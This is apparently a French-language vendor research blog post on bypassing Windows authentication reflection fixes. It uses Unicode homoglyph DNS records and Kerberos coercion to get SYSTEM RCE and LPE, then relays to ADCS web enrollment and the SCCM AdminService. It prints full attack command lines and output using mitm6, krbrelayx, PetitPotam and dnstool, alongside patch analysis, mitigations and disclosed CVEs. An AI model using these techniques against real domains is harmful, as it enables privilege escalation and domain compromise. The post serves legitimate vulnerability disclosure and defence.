Security incident? Suspected breach? 09 71 18 27 69csirt@synacktiv.com

Bypassing Windows authentication reflection mitigations for SYSTEM shells - Part ②

Written by Guillaume André - 30/04/2026 - in Pentest - Download

Dans la première partie de cette série d'articles, nous avons démontré notre théorie initiale selon laquelle le correctif de la CVE-2025-33073 était insuffisant, en exposant une vulnérabilité triviale de réflexion NTLM menant à une LPE.

Dans cette deuxième partie, nous nous tournons vers Kerberos et expliquons comment nous avons obtenu une primitive RCE complète en tant qu'utilisateur du domaine, via une nouvelle technique de d'authentification forcée Kerberos qui exploite les divergences dans la manière dont les différents composants Windows gèrent les caractères Unicode.

Nos recherches mettent enfin un terme aux vulnérabilités de réflexion d'authentification visant le service SMB. Cependant, cette classe de vulnérabilités persiste encore.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Dans la première partie, nous avons posé les fondations de notre méthodologie de contournement et identifié deux axes d'attaque :

  • LPE via coercition vers localhost.
  • RCE via une primitive arbitraire de coercition d'authentification Kerberos (une alternative à la technique CMTI).

Le premier axe d'attaque a été démontré avec succès en exploitant une nouvelle fonctionnalité ajoutée dans Windows 11 24H2 et Windows Server 2025 : la possibilité de monter des partages SMB sur des ports TCP arbitraires. Ces recherches ont mené à la CVE-2026-24294. Avec ces résultats en main, nous nous sommes attelés à la recherche d'une alternative à la technique CMTI.

Tout d'abord, nous commencerons par examiner les primitives d'authentification forcée Kerberos existantes et la façon dont nous avons tenté de les adapter à notre cas d'usage. Des scénarios d'attaque seront expliqués, à la fois avec un contrôle total et partiel du DNS. Le vecteur d'attaque sera progressivement affiné pour atteindre notre objectif : une nouvelle technique de coercition d'authentification Kerberos permettant de contourner totalement le correctif de la CVE-2025-33073. Nous verrons ensuite comment cette vulnérabilité a été de courte durée et corrigée involontairement. Enfin, notre méthodologie générique sera de nouveau appliquée pour la transformer en vulnérabilité d'élévation locale de privilèges. Les dernières sections couvriront l'analyse du correctif, ainsi que nos réflexions sur l'état actuel des vulnérabilités de réflexion d'authentification (avec un petit bonus à la fin !).

Réflexion Kerberos

Réflexion Kerberos via les mises à jour DNS sécurisées

Nous avons commencé ces recherches en essayant de réutiliser les méthodes existantes de coercition d'authentification Kerberos. Mon collègue @croco_byte avait déjà essayé d'effectuer une réflexion Kerberos en utilisant l'empoisonnement DHCPv6 et le relais DNS via les mises à jour DNS sécurisées. Il m'avait dit que cela ne fonctionnait pas, et j'étais curieux de savoir pourquoi. Lorsqu'on tente de relayer l'authentification DNS Kerberos depuis la machine cible vers son service SMB, ce dernier répond effectivement avec l'erreur SMB STATUS_ACCESS_DENIED :

# mitm6 -d AD.LOCAL --relay SRV1.AD.LOCAL
IPv6 address fe80::5834:1 is now assigned to mac=80:f4:a8:58:3b:82 host=SRV1.AD.LOCAL. ipv4=
Sent SOA reply
Dynamic update found, refusing it to trigger auth

# krbrelayx.py -t smb://SRV1.AD.LOCAL
[*] DNS: Client sent authorization
impacket.smb3.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

Il s'avère que le service SMB effectue certaines vérifications sur l'AP-REQ reçu lorsqu'il détecte qu'une authentification locale est en cours. Plus précisément, il s'assure que la classe de service du sname du ticket de service est CIFS. La vérification est implémentée dans srvnet!SrvAdminCheckSpn. Si ce n'est pas le cas, il vérifie également si le sname figure dans la liste d'autorisation récupérée depuis la valeur de registre HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\SrvAllowedServerNames. Si les deux vérifications échouent, le service SMB renvoie l'erreur STATUS_ACCESS_DENIED.

La vérification peut donc être contournée artificiellement en ajoutant le SPN DNS/SRV1.AD.LOCAL à la liste d'autorisation. Effectuer à nouveau la réflexion d'authentification produit la nouvelle erreur suivante :

# krbrelayx.py -t smb://SRV1.AD.LOCAL
[*] DNS: Client sent authorization
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 

Cette erreur est due à l'identité relayée : le client DNS, implémenté dans le service DnsCache, s'exécute en tant que NT AUTHORITY\NETWORK SERVICE. Cela signifie que même si la réflexion fonctionne, la session SMB relayée n'est pas privilégiée. Quoi qu'il en soit, ce vecteur d'attaque ne fonctionnerait pas. Il m'a néanmoins motivé à conserver certaines parties de ce scénario d'attaque.

Réflexion Kerberos manuelle avec contrôle complet du DNS

Les deux restrictions précédentes peuvent être facilement contournées en forçant manuellement la machine à s'authentifier plutôt qu'en exploitant les mises à jour DNS sécurisées :

  • Le sname du ticket de service dans l'AP-REQ sera SMB au lieu de DNS.
  • Le service ainsi forcé devient LSASS, qui s'exécute en tant que NT AUTHORITY\SYSTEM.

L'idée était simple : avec un contrôle total de la configuration DNS de la machine via l'empoisonnement DHCPv6, forcer le serveur SRV1 à s'authentifier auprès de SRV1.AD.LOCAL. Comme son serveur DNS est sous notre contrôle, SRV1.AD.LOCAL peut être résolu vers notre serveur de relais contrôlé, qui recevra l'AP-REQ Kerberos et le relaiera vers la machine. Pourtant, rien ne s'est produit : la machine n'a même pas émis de requête DNS.

Ce comportement est attendu : le service DnsCache n'émet pas de requête DNS si le nom cible correspond au nom d'hôte ou au FQDN (Fully Qualified Domain Name) de la machine, ce qui est tout à fait logique. Nous avons donc les contraintes suivantes :

  • Le nom de la cible doit être différent du nom de la machine, afin qu'une requête DNS soit effectuée.
  • L'AP-REQ récupéré doit contenir un ticket de service valide pour le service SMB de SRV1.

Plusieurs techniques ont été essayées jusqu'à ce qu'une percée se produise avec le nom cible suivant :

SⓇV1.AD.LOCAL
SⓇV1.AD.LOCAL.

En remplaçant le R par un équivalent Unicode : Ⓡ (hex : 24 C7), la réflexion a fonctionné !

$ PetitPotam.py -u user -p user SⓇV1.AD.LOCAL SRV1.AD.LOCAL
[...]
[+] Attack worked!

# mitm6 -d AD.LOCAL -r SRV1.AD.LOCAL
[...]
Sent spoofed reply for sⓡv1.ad.local. to fe80::7fab:def8:f351:9b98

# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.10
[*] Executed specified command on host: srv1.ad.local
nt authority\system

Le même comportement est observé avec d'autres variantes Unicode, telles que ℝ, ᴿ, Ŕ, etc.

Comme on peut le voir dans les traces ci-dessus, une requête DNS a été émise par SRV1 pour SⓇV1.AD.LOCAL et l'authentification Kerberos a été reçue sur notre serveur de relais puis réfléchie avec succès vers la machine d'origine. Un petit correctif a été apporté à krbrelayx.py afin qu'il relaie l'AP-REQ même si le nom cible ne correspond pas exactement.

Comme Windows a une longue histoire de comportements étranges avec Unicode, nous nous attendions effectivement à de bons résultats en jouant avec ce type de caractères. Cela dit, le résultat suivant était inattendu :

Unicode sname seen in Wireshark.
Unicode sname seen in Wireshark.

Cette capture réseau illustre l'AP-REQ qui a été reçu par notre serveur de relais et révèle quelque chose d'intéressant : le sname du ticket de service contient le caractère Unicode. Deux conclusions peuvent en être tirées :

  • Aucune normalisation n'a été effectuée par le client sur le SPN avant l'envoi de la requête TGS. De plus, cela signifie qu'une normalisation est effectuée à un moment donné par le contrôleur de domaine lorsqu'il recherche le SPN demandé.
  • La réflexion a réussi, donc le service SMB a accepté notre ST (Service Ticket). Cela signifie que peu, voire aucune vérification n'est effectuée par le service SMB sur le nom d'hôte du champ sname du ticket de service.

Recherche dans NTDS

Pour rappel, toutes les données du domaine Active Directory sont stockées dans la base de données ntds.dit, qui utilise le format ESE (anciennement nommé Jet Blue). Ce format de base de données s'appuie sur des arbres B pour des opérations rapides et un accès disque optimisé. Pour une récupération efficace, des clés de recherche (search keys) sont générées à partir des données à rechercher. Ce sont des tableaux binaires opaques qui peuvent être comparés avec memcmp pour un ordonnancement relatif. Les clés de recherche sont construites via la fonction esent!JetMakeKey. En interne, celle-ci utilise la fonction kernel32!LCMapStringEx pour construire une clé de tri (sort key), qui est ensuite utilisée comme clé de recherche lors des recherches dans NTDS.

LCMapStringEx peut être utilisée à diverses fins, comme convertir une chaîne en une autre (par exemple, conversion en minuscules). Windows est principalement insensible à la casse, ce qui signifie que la recherche doit être efficace, indépendamment de la casse. En spécifiant le drapeau LCMAP_SORTKEY, elle peut également servir à générer une clé de tri. Dans ce cas, plusieurs drapeaux de normalisation (NORM_IGNORECASE, NORM_IGNOREWIDTH, etc.) peuvent être ajoutés afin que différentes chaînes correspondent à la même clé de tri. Par exemple, les clés de tri générées pour "srv1" et "SRV1" sans normalisation spécifique sont différentes :

LCMapStringEx("srv1", LCMAP_SORTKEY)
!=
LCMapStringEx("SRV1", LCMAP_SORTKEY)

En revanche, les clés de tri construites à partir des mêmes chaînes correspondent lorsque l'option NORM_IGNORECASE est utilisée :

LCMapStringEx("srv1", LCMAP_SORTKEY | NORM_IGNORECASE)
==
LCMapStringEx("SRV1", LCMAP_SORTKEY | NORM_IGNORECASE)

Lorsque le contrôleur de domaine construit une clé de recherche pour un SPN, il appelle LCMapStringEx avec les options suivantes (0x31403) :

  • LCMAP_SORTKEY
  • NORM_IGNORECASE
  • NORM_IGNOREKANATYPE
  • NORM_IGNORENONSPACE
  • NORM_IGNOREWIDTH
  • SORT_STRINGSORT

Il se trouve que les clés de tri générées à partir de "SRV1" et "SⓇV1" sont égales lorsqu'on utilise les options de normalisation précédentes !

LCMapStringEx("SRV1", 0x31403)
==
LCMapStringEx("SⓇV1", 0x31403)

Cela implique que les SPN construits associés correspondent eux aussi à la même clé de tri. Par conséquent, une requête TGS pour CIFS/SⓇV1 renvoie un ST pour le compte machine SRV1$. Tout ce que nous avons à faire est d'enregistrer l'enregistrement DNS SⓇV1 pour construire une primitive arbitraire de coercition d'authentification Kerberos : l'adresse IP pointera vers notre serveur de relais tandis que le ST sera valide pour le compte machine SRV1$. Mais est-ce vraiment aussi simple ?

$ dnstool.py [...] -a add -r SⓇV1 -d 192.168.62.80 192.168.62.10 
[...]
[!] Record already exists 

En réalité, avant qu'un enregistrement DNS soit ajouté, le service LDAP vérifie qu'il n'existe pas déjà, et il est recherché exactement comme un SPN : en construisant une clé de  recherche avec LCMapStringEx et 0x31403 comme drapeaux de normalisation. Ainsi, l'enregistrement DNS SⓇV1 entre en collision avec l'enregistrement DNS SRV1 déjà existant, ce qui empêche sa création. Nous avons désormais une contrainte supplémentaire : le nouvel enregistrement DNS doit correspondre à une clé de tri différente de celle de l'enregistrement DNS déjà existant tandis que le SPN construit doit correspondre à l'un des SPN du compte machine.

Primitive arbitraire de coercition d'authentification Kerberos

Par défaut, les comptes machine possèdent deux types de SPN :

  • Des variantes du nom d'hôte de la machine : HOST/SRV1, TERMSRV/SRV1, etc.
  • Des variantes du FQDN de la machine : HOST/SRV1.AD.LOCAL, TERMSRV/SRV1.AD.LOCAL, etc.

Comme vu précédemment, les variantes du nom d'hôte de la machine constituent une impasse, car si le SPN construit correspond à l'un des SPN de la machine, cela implique que l'enregistrement DNS entrera en collision avec l'enregistrement DNS de la machine. Mais serait-il possible de construire un enregistrement DNS basé sur le FQDN de la machine ? Eh bien, vous l'avez peut-être déjà deviné, mais la solution est encore une fois Unicode !

SRV1․AD․LOCAL
SRV1․AD․LOCAL.

En remplaçant les points par des équivalents Unicode : "․" (en hex : 20 24), nous parvenons à créer un enregistrement DNS valide :

  • Dont le SPN construit correspond à la même clé de tri que le SPN de la forme SERVICE_CLASS/SRV.AD.LOCAL.
  • Qui n'entre pas en conflit avec l'enregistrement DNS SRV1.

Pourtant, rien ne s'est produit lorsqu'on a forcé SRV1 à s'authentifier auprès de SRV1․AD․LOCAL (avec des points Unicode) :

$ dnstool.py [...] -a add -r SRV1․AD․LOCAL -d 192.168.62.80 DC1
[+] LDAP operation completed successfully

$ PetitPotam -u user -p password SRV1․AD․LOCAL SRV1.AD.LOCAL

Pourquoi ne recevons-nous aucune connexion ? Eh bien, encore une fois, c'est à cause du service DnsCache. Comme dit précédemment, il n'émet pas de requête DNS s'il détecte que la cible est sa propre machine. Mais comment compare-t-il réellement les deux chaînes ? Dans notre cas, la cible ne correspond pas exactement au FQDN de la machine, donc cela ne devrait pas poser de problème.

Curieusement, il utilise la fonction kernel32!CompareStringW, qui est loin d'être un simple équivalent de memcmp. Elle est en fait assez similaire à la fonction LCMapStringEx car elle accepte également des options de normalisation (NORM_IGNORECASE, NORM_IGNOREWIDTH, etc.). La fonction CompareStringW est appelée par le service DnsCache dans la fonction dnsapi!Query_MatchAndGetLocalMachine avec uniquement NORM_IGNORECASE comme option de normalisation. Contrairement à ce qu'on pourrait attendre, la fonction considère les deux chaînes avec des points différents comme égales :

CompareStringW("SRV1․AD․LOCAL", "SRV1.AD.LOCAL", NORM_IGNORECASE)
==
CSTR_EQUAL

Cela explique pourquoi le service DnsCache n'émet pas de requête DNS. Notre objectif est donc de faire échouer cette vérification afin qu'une requête DNS soit émise et que le client se connecte à notre serveur de relais. L'expérimentation avec cette fonction a fait apparaître un résultat intéressant :

CompareStringW("SⓇV1", "SRV1", NORM_IGNORECASE)
!=
CSTR_EQUAL

À ce stade, vous savez déjà ce qui arrive :

SⓇV1․AD․LOCAL.
SⓇV1․AD․LOCAL.

En combinant tous les caractères Unicode précédents, nous parvenons à contourner toutes les contraintes pour finalement construire une nouvelle primitive arbitraire de coercition d'authentification Kerberos :

$ dnstool.py [...] -a add -r SⓇV1․AD․LOCAL -d 192.168.62.80 DC1
[+] LDAP operation completed successfully

$ PetitPotam -u user -p password SⓇV1․AD․LOCAL SRV1.AD.LOCAL

# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.11
[*] Executed specified command on host: srv1.ad.local
nt authority\system

Cette nouvelle technique permet de contourner totalement le correctif de la CVE-2025-33073 et aboutit à nouveau à une RCE authentifiée ! Nous avons signalé cette vulnérabilité au MSRC le 5 octobre 2025, quelques jours avant le Patch Tuesday d'octobre…

Correctif involontaire et LPE

CVE-2025-58726

Le Patch Tuesday d'octobre nous réservait une petite surprise : le relais de l'AP-REQ Kerberos aboutissait à une erreur SMB STATUS_ACCESS_DENIED :

# krbrelayx.py -t smb://SRV1.AD.LOCAL -c whoami
[...]
[*] SMBD: Received connection from 192.168.62.11
[-] SMB SessionError: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

En enquêtant sur ce comportement, nous avons découvert qu'il était dû à la CVE-2025-58726. Il s'agit d'une variante de la CVE-2025-33073, mais avec un prérequis bien plus important :

  • Soit un ghost SPN doit être défini sur la machine.
  • Soit il faut avoir les droits d'ajouter un SPN au compte machine cible.

Le correctif de la CVE-2025-58726 se situe dans le service SMB (le driver srv2.sys) et est plutôt direct : si une authentification locale est en cours, alors la connexion SMB doit provenir d'une adresse IP locale. En appliquant notre méthodologie précédente, nous avons abouti aux idées suivantes :

Bypass methodology applied to CVE-2025-58726.
Bypass methodology applied to CVE-2025-58726.

Comme pour le correctif de la CVE-2025-33073, la mitigation ne concerne que le protocole SMB. Nous avons envisagé de cibler d'autres services tels que RPC, HTTP ou MSSQL, mais aucun d'entre eux n'était une cible de relais adaptée en raison de l'application de l'intégrité ou d'une configuration non par défaut. Deux idées semblaient prometteuses :

  • Tromper le service SMB afin qu'il ne déduise pas qu'une authentification locale a lieu.
  • Relayer l'authentification depuis une adresse IP locale. Cela aboutirait seulement à une LPE, mais cela correspond à nos critères.

Tentative de contournement infructueuse

Naturellement, l'idée de la confusion d'authentification locale a été envisagée en premier. La fonction srv2!Smb2ValidateLoopbackAddress a été ajoutée par le correctif. Elle est appelée dans srv2!Smb2ExecuteSessionSetupReal après que l'authentification a réussi. Elle vérifie d'abord si le contexte serveur contient l'attribut SECPKG_ATTR_IS_LOOPBACK. Si c'est le cas, elle vérifie que l'adresse IP source de la connexion SMB est une adresse IP locale dans la fonction srvnet!SrvNetIsAddressLoopback nouvellement ajoutée. Comme il semble difficile d'usurper une adresse IP locale, le seul axe d'attaque viable serait d'empêcher l'attribut SECPKG_ATTR_IS_LOOPBACK d'être ajouté au contexte serveur.

Le package d'authentification Kerberos implémente un mécanisme de détection des authentifications locales. Il ressemble étroitement au mécanisme utilisé pour mémoriser l'identité du client lors d'une authentification Kerberos locale. Lorsque la partie cliente du package d'authentification Kerberos crée un AP-REQ, elle génère une sous-clé aléatoire qu'elle inclut dans l'AP-REQ. Elle la stocke également dans une liste globale dans LSASS dans la fonction kerberos!KerbLoopback::RememberClient. Lorsque la partie serveur du package d'authentification Kerberos reçoit l'AP-REQ, elle récupère la sous-clé et la compare avec toutes les entrées de la liste globale via la fonction kerberos!KerbLoopback::KeyCompare. Si une correspondance est trouvée, la valeur 0x20000 (qui indique une authentification locale) est ajoutée au contexte serveur.

Notre idée était de supprimer l'entrée de la sous-clé avant de renvoyer l'AP-REQ à la machine, afin que le service ne détecte pas qu'une authentification locale a lieu. La liste des sous-clés n'a pas de taille fixe, donc il ne semble pas possible d'écraser les anciennes entrées avec des plus récentes. Le seul moment où une sous-clé est retirée de la liste est lorsque sa durée de vie a expiré. De plus, la suppression n'a lieu que lorsqu'une autre sous-clé est ajoutée à la liste. Or la durée de vie d'une sous-clé est deux fois plus longue que la durée de validité de l'authenticator (à l'intérieur de l'AP-REQ), ce qui signifie que l'authenticator expirera toujours avant sa sous-clé associée, fermant ainsi cet axe d'attaque.

LPE via réflexion Kerberos

Finalement, nous sommes passés à la dernière idée : relayer l'AP-REQ depuis une adresse IP locale pour élever localement les privilèges sur la cible. À partir d'un shell à faibles privilèges sur la machine, l'idée est d'établir une connexion vers la machine de l'attaquant (avec un reverse SOCKS par exemple, pour éviter d'être bloqué par le pare-feu local) et de l'utiliser pour transférer l'AP-REQ vers la machine cible via un forwarder local. Le workflow complet pour élever les privilèges sur SRV1.AD.LOCAL est donc :

  1. Enregistrer l'enregistrement DNS SⓇV1․AD․LOCAL et le faire pointer vers la machine de l'attaquant.
  2. Sur la machine cible, démarrer un forwarder local et lui faire établir une connexion TCP vers la machine de l'attaquant.
  3. Forcer SRV1 à s'authentifier auprès de SⓇV1․AD․LOCAL.
  4. Recevoir l'AP-REQ sur le serveur de relais de l'attaquant et l'envoyer au forwarder.
  5. Transférer localement l'AP-REQ vers le service SMB intégré de la machine pour obtenir une session SMB privilégiée.

L'attaque est illustrée ci-dessous :

Kerberos loopback LPE.
Kerberos loopback LPE.
Video file

Cette vulnérabilité s'est vu attribuer la CVE-2026-26128 et a été corrigée lors du Patch Tuesday de mars 2026. Ce scénario d'attaque (réflexion vers SMB) fonctionne par défaut sur toutes les versions de Windows à l'exception de Windows 11 24H2 car la signature SMB y est imposée.

Analyse du correctif

La vulnérabilité précédente et celle-ci ont été corrigées par le même correctif. Une vérification a été ajoutée dans la fonction srv2!Smb2ExecuteNegotiateReal du service SMB :

Pendant la phase de négociation des paramètres de sécurité entre le client et le serveur, ce dernier vérifie la valeur de la variable globale srv2!Smb2SigningRequiredForLoopback ainsi que si la connexion SMB provient d'une adresse IP locale. Si les deux conditions sont vraies, le serveur impose l'intégrité des communications. Dorénavant, toutes les connexions SMB locales doivent donc être signées.

La variable globale srv2!Smb2SigningRequiredForLoopback est récupérée depuis la valeur de registre HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\RequireSecuritySignatureForLoopback. La valeur par défaut est 1, mais la définir à 0 réintroduit les vulnérabilités et les rend de nouveau exploitables.

Les attaques de réflexion d'authentification visant le service SMB semblent donc désormais définitivement corrigées (du moins, dans la configuration par défaut).

Bonus

Cependant, encore une fois, le correctif ne traite qu'un service spécifique (SMB). Qu'en est-il des autres services ? Eh bien, ils sont toujours vulnérables ! Les services HTTP sont une préoccupation particulière, car ils sont vulnérables par défaut puisqu'aucun mécanisme d'intégrité n'est implémenté. Il y a eu des améliorations récentes concernant l'application du channel binding sur les services HTTPS, mais certains ne disposent toujours pas de cette protection.

Deux services HTTP(S) tristement célèbres pouvant mener à une compromission du domaine peuvent encore être exploités via la réflexion (ou le relais) Kerberos : le service d'inscription web ADCS et l'AdminService SCCM.

Inscription web ADCS

Le service d'inscription web ADCS est un service HTTP sur lequel les utilisateurs peuvent demander et récupérer un certificat. C'est une cible précieuse pour le relais d'authentification depuis les recherches de SpecterOps. Si NTLM est refusé sur le point de terminaison, la primitive arbitraire d'authentification Kerberos peut être utilisée pour compromettre le serveur ADCS via la réflexion (ou une autre machine via le relais) :

$ PetitPotam.py -u user -p password 'SⓇV1․AD․LOCAL' 192.168.62.10
[...]
[+] Attack worked!

# krbrelayx.py -t http://SRV1.AD.LOCAL/certsrv/certfnsh.asp --adcs -smb2support -v 'SRV1$'
[...]
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.62.10
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user SRV1$ since attack was already performed
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./SRV1.pfx
[*] Certificate successfully written to file

Pour se protéger contre toute attaque par relais sur le service d'inscription web, le connecteur HTTP doit être désactivé et le channel binding doit être imposé sur le service HTTPS.

AdminService SCCM

L'AdminService est un service HTTPS exposé par le SMS provider qui communique avec le service de base de données pour gérer une infrastructure SCCM. Il est également notoirement vulnérable au relais d'authentification. Une particularité de ce service est qu'il ne prend pas en charge le channel binding. Pour empêcher les scénarios de relais NTLM, le service rejette l'authentification NTLM à partir de la version 2509.

La nouvelle primitive de coercition d'authentification Kerberos présentée dans cet article rend de nouveau cette attaque exploitable et l'améliore. Toute installation SCCM peut donc être compromise par défaut avec un simple compte utilisateur standard :

  • Via la réflexion Kerberos si le serveur de site primaire héberge le SMS provider.
  • Via le relais Kerberos si le SMS provider est hébergé sur un serveur différent du serveur de site primaire.
$ PetitPotam.py -u user -p user SⒸCM1.AD.LOCAL SⒸCM1.AD.LOCAL
[...]
[+] Attack worked!

# krbrelayx_sccm_poc.py -t https://SCCM1.AD.LOCAL/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "AD\lowpriv" --displayname  "AD\lowpriv" --objectsid S-1-5-21-4178844766-85253254-2385978509-1126
[*] SMBD: Received connection from 192.168.62.12
[*] Authenticating against SCCM1.AD.LOCAL as AD/SCCM1$
[*] Adding administrator via SCCM AdminService...
[*] Server returned code 201, attack successful

$ sccmhunter.py admin -k -u lowpriv -p lowpriv -ip SCCM1.AD.LOCAL -dc 192.168.62.10 -d AD.LOCAL
() (C:\) >> show_admins 
INFO     Tasked SCCM to list current SMS Admins.                                          
WARNING  CCache file is not found. Skipping...                                            
INFO     Current Full Admin Users:                                                        
INFO     AD\odin                                                                      
INFO     AD\lowpriv 

Le relais ou la réflexion Kerberos devraient également fonctionner sur le service MSSQL, mais cela n'a pas été testé.

Les mesures suivantes peuvent être appliquées pour protéger les services SCCM des attaques par relais :

  • SMB : Imposer la signature SMB sur toutes les machines de l'infrastructure SCCM.
  • MSSQL : Imposer le channel binding sur toutes les instances exposées. De plus, restreindre l'accès réseau à ces services constitue une bonne mesure de sécurité.
  • AdminService : celui-ci est plus délicat. À notre connaissance, il n'existe actuellement aucun moyen d'imposer le channel binding sur ce service. Par conséquent, restreignez autant que possible l'accès réseau à ce service. De plus, restreignez les flux réseau provenant du serveur de site principal (afin de l'empêcher d'envoyer du matériel d'authentification au serveur de l'attaquant). Restreindre les appels RPC utilisés pour la coercition d'authentification peut également être une bonne idée.

Plus généralement, tout service qui n'impose pas l'intégrité des communications pourrait potentiellement être compromis via la réflexion Kerberos, étant donné que l'identité relayée est NT AUTHORITY\SYSTEM. Il est probable que plusieurs services non installés par défaut, déployables via les rôles Windows, soient vulnérables, dès lors qu'ils acceptent l'authentification Kerberos.

Conclusion

Cet article conclut nos recherches sur la réflexion d'authentification. Nous avons exposé une nouvelle technique arbitraire de coercition Kerberos qui a permis de contourner totalement le correctif de la CVE-2025-33073. Cette RCE de courte durée a ensuite été transformée en attaque universelle de LPE.

À travers ces recherches, nous avons démontré que ce vecteur d'attaque représente toujours une menace sérieuse pour les systèmes Windows. Bien que la LPE démontrée ait été corrigée, d'autres services restent vulnérables. Les attaques de relais (ou de réflexion) d'authentification persisteront tant que les mécanismes d'intégrité ne seront pas imposés par défaut sur les services Windows. D'un point de vue défensif, lorsque cela est possible, forcez l'utilisation de tous les mécanismes d'intégrité et de confidentialité disponibles pour chaque protocole, et mettez en place un filtrage réseau strict.